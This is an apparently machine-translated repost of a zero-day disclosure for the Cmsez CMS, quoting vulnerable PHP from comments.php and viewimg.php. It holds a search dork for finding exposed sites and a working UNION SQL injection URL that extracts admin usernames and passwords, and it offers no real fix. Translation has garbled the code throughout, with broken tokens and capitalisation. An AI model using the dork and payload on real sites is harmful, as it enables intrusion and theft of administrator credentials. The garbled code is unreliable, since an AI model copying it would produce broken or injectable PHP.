Cmsez (suiyi) zero-day full-site system and repair solution

Source: Internet
Author: User

Program name: Cmsez Web Content Manage System v2.0.0
Vulnerability discovery: Xiao Shuai)
Announcement date: 08-03-14
Vulnerability impact: severe
Vulnerability file: comments. php viewimg. php
Site: http://www.cmsez.com/
Vulnerability code:

---------------

<?
// Comments
Include "mainfile. php ";
$ Art = new article ();
// Set
$ Confirm = yes; // yes: display only after administrator authentication is required. no: display directly
$ Member = new member ();
$ User_info = $ member-> member_auth ();
$ Ulevel = $ user_info [user_level];
#############
$ Action = $ _ REQUEST [action];
$ Page = "10 ";//
$ Need_user = "0 ";//
$ Id = $ _ REQUEST [id]; // The ID parameter is not filtered.
$ Fdb = $ PlusDB-> prefix (forum); // comment on the database
Switch ($ action ){
Case "showNum ":
$ SQL = "select count (*) as num from". $ fdb. "where post_aid = $ id ";
$ ShowNum = $ PlusDB-> getone ($ SQL );
Echo"
Function comment (id)
{
Var page = "". PLUS_URL. "/comments. php? Id = "+ id;
Popwin = window. open (page, "", "width = 460, height = 500, scrollbars, resizable ")
Popwin. focus ();
}
Document. open ();
Document. write ("<a href = \" javascript: comment ($ id) \ "title = \"". _ LANG_0930. "\"> ". _ LANG_0931. "$ showNum ". _ LANG_0932. "</a> ");
Document. close ();";
Break;
Case "saveComment ":

--------------
Viewimg. php
--------------

<?
// Image. php displays the attachment image
Include "mainfile. php ";
$ Member = new member ();
$ Confirm = false; // only available for members with true or false values
$ User_info = $ member-> member_auth ();
If ($ user_info [user_level] = "Guest" & $ confirm = true ){
Include "modules/member/index. php ";
} Else {
$ Imgdb = $ PlusDB-> prefix (images );
$ Id = $ _ GET [id]; // meter filter. Why does it need to be obtained directly!
$ Aid = $ _ GET [aid]; // is dinner busy?
$ SQL = "select id from $ imgdb where aid = $ aid order by id ";

---------------------
Exp:
Allinurl: "owered by CMSEZ" comments. php inurlowered by CMSEZ
Http: // localhost/comments. php? Id = 1111111111111/**/union/**/1, concat (name, 0x3a, pass), 4/**/from/**/admin /*

-------------------

Solution:

It is best to close the station...

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.